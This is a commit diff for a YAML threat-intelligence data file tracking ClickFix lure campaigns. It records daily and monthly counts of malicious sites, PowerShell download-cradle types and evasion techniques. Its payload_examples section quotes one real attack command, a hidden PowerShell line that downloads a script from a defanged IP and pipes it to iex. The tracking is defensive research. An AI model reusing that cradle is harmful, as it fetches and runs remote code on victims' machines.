chore: update clickgrab trends data [2026-06-18]

_data/clickgrab_trends.yml

@@ -1,20 +1,20 @@
-# Generated by scripts/analyze_clickgrab.py (volume) + build_domain_monthly.py (behaviour).
-# domain_monthly / domain_*_total are the CLEAN per-domain command classification from
-# Carson's ClickFix Hunter export and drive the page charts/cards (see DECISIONS #012).
+# Generated by scripts/analyze_clickgrab.py (baseline + append; see DECISIONS #011)
+# Sources: MHaggis ClickGrab nightly reports (raw blobs) + Carson ClickFix domain gist
+# Historical sections (payload_examples, domain_monthly, staging_domains) are frozen baseline.
 
 meta:
   source: https://mhaggis.github.io/ClickGrab/
-  date_range: 2025-04-17 to 2026-06-15
-  total_reports: 520
-  total_sites_crawled: 24207
-  total_malicious: 21645
+  date_range: 2025-04-17 to 2026-06-18
+  total_reports: 523
+  total_sites_crawled: 24507
+  total_malicious: 21771
   total_domains: 3321
-  generated: '2026-06-15'
-  appended_through: '2026-06-15'
-  carson_landscape: 3317
-  carson_updated: '2026-06-15T20:30:03Z'
-  carson_lure_overlap: 70
-  carson_lure_observed: 108
+  generated: '2026-06-18'
+  appended_through: '2026-06-18'
+  carson_landscape: 3430
+  carson_updated: '2026-06-18T10:00:03Z'
+  carson_lure_overlap: 53
+  carson_lure_observed: 87
   domain_source: clickfix-domains-all-2026-06-16.xlsx
   domain_updated: '2026-06-16'
 daily:
@@ -4506,6 +4506,63 @@ daily:
     self_delete: 4
     start_sleep: 4
     hidden_window: 6
+- date: '2026-06-16'
+  total_sites: 100
+  malicious: 43
+  cradles:
+    iwr_iex: 3
+    irm_iex: 0
+    webclient: 4
+    curl: 1
+    msiexec: 0
+    vbs_wscript: 1
+    hex_xor: 0
+    inline_no_url: 2
+  evasion:
+    mixed_case: 0
+    base64: 1
+    cdn_staging: 1
+    self_delete: 4
+    start_sleep: 4
+    hidden_window: 6
+- date: '2026-06-17'
+  total_sites: 100
+  malicious: 45
+  cradles:
+    iwr_iex: 3
+    irm_iex: 0
+    webclient: 4
+    curl: 0
+    msiexec: 0
+    vbs_wscript: 1
+    hex_xor: 0
+    inline_no_url: 0
+  evasion:
+    mixed_case: 0
+    base64: 1
+    cdn_staging: 1
+    self_delete: 4
+    start_sleep: 4
+    hidden_window: 6
+- date: '2026-06-18'
+  total_sites: 100
+  malicious: 38
+  cradles:
+    iwr_iex: 3
+    irm_iex: 0
+    webclient: 2
+    curl: 1
+    msiexec: 0
+    vbs_wscript: 1
+    hex_xor: 0
+    inline_no_url: 2
+  evasion:
+    mixed_case: 0
+    base64: 1
+    cdn_staging: 1
+    self_delete: 2
+    start_sleep: 2
+    hidden_window: 4
 payload_examples:
   iwr_iex:
   - date: '2025-08-14'
@@ -4548,22 +4605,22 @@ payload_examples:
   - date: '2025-10-31'
     text: cmd.exe /c start /min powershell -w hidden -nop -c "(New-Object Net.WebClient).DownloadString('hxxps://95[.]164[.]53[.]214/b.ps1') | iex"
 cradles_total:
-  iwr_iex: 2185
+  iwr_iex: 2194
   irm_iex: 89
-  webclient: 982
-  curl: 1402
+  webclient: 992
+  curl: 1404
   msiexec: 1027
-  vbs_wscript: 359
+  vbs_wscript: 362
   hex_xor: 70
-  inline_no_url: 676
+  inline_no_url: 680
 evasion_totals:
   mixed_case: 1697
-  base64: 10449
-  cdn_staging: 436
-  self_delete: 965
-  start_sleep: 965
-  hidden_window: 3401
-  inline_payload: 676
+  base64: 10452
+  cdn_staging: 439
+  self_delete: 975
+  start_sleep: 975
+  hidden_window: 3417
+  inline_payload: 680
 domain_monthly:
 - month: 2025-08
   n: 135
@@ -5145,24 +5202,24 @@ monthly:
     start_sleep: 46
     hidden_window: 70
 - month: 2026-06
-  total_sites: 1500
-  malicious: 627
+  total_sites: 1800
+  malicious: 753
   cradles:
-    iwr_iex: 38
+    iwr_iex: 47
     irm_iex: 0
-    webclient: 53
-    curl: 9
+    webclient: 63
+    curl: 11
     msiexec: 0
-    vbs_wscript: 14
+    vbs_wscript: 17
     hex_xor: 0
-    inline_no_url: 17
+    inline_no_url: 21
   evasion:
     mixed_case: 0
-    base64: 13
-    cdn_staging: 13
-    self_delete: 53
-    start_sleep: 53
-    hidden_window: 79
+    base64: 16
+    cdn_staging: 16
+    self_delete: 63
+    start_sleep: 63
+    hidden_window: 95
 domain_cradles_total:
   iwr: 187
   irm: 146